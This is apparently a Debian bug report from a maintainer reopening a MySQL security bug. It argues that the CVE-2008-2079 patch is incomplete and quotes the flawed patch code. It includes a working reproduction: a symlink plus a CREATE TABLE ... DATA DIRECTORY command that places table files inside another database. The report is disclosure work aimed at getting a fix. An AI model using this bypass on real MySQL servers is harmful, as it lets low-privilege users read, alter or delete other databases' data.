reopen 480292 quit I don't believe that the patch applied to address this bug was sufficient. In preparing the stable update I initially applied it, before finding two things:
First, fn_format() only calls readlink() once on the entire path, not on any
component thereof; hence it will only actually detect when the last component
of a path was a symlink. Exploiting this merely requires adding another path
component below the symlink path -- for example:
$ ls -l /tmp/foo
lrwxrwxrwx 1 aqua 1000 14 Jul 3 05:36 /tmp/foo -> /var/lib/mysql
mysql> use test1 ;
Database changed
mysql> create table t (a int) data directory '/tmp/foo' ;
ERROR 1210 (HY000): Incorrect arguments to DATA DIRECORY
mysql> create table t (a int) data directory '/tmp/foo/mysql' ;
Query OK, 0 rows affected (0.02 sec)
$ ls -l /var/lib/mysql/mysql/t.MYD
-rw-rw---- 1 mysql mysql 0 Jul 3 07:27 /var/lib/mysql/mysql/t.MYD
Second, even if fn_format() did fully resolve symlinks in the path, its output
is actually ignored; this is an except from 92_SECURITY_CVE-2008-2079.dpatch
in mysql-dfsg-5.0 5.0.51a-9:
+static bool test_if_data_home_dir(const char *dir)
+{
[...]
+ (void) fn_format(path, dir, "", "",
+ (MY_RETURN_REAL_PATH|MY_RESOLVE_SYMLINKS));
+ dir_len= unpack_dirname(conv_path, dir);
[...]
+ else if (!memcmp(conv_path, mysql_unpacked_real_data_home,
home_dir_len))
+ DBUG_RETURN(1);
fn_format reads the potentially hostile 'dir' and writes the marginally
readlink()'ed result to 'path'. But unpack_dirname is passed 'dir' again, not
'path', so it's the origianl string which is used in the subsequent
comparison.
In terms of exploitability, this allows any user with permissions to create
tables in a db the ability to read from, write to and delete tables from any
other database within the same mysql instance.
--
Devin \ aqua(at)devin.com, IRC:Requiem; http://www.devin.com
Carraway \ 1024D/E9ABFCD2: 13E7 199E DD1E 65F0 8905 2E43 5395 CA0D E9AB FCD2
signature.asc
Description: Digital signature
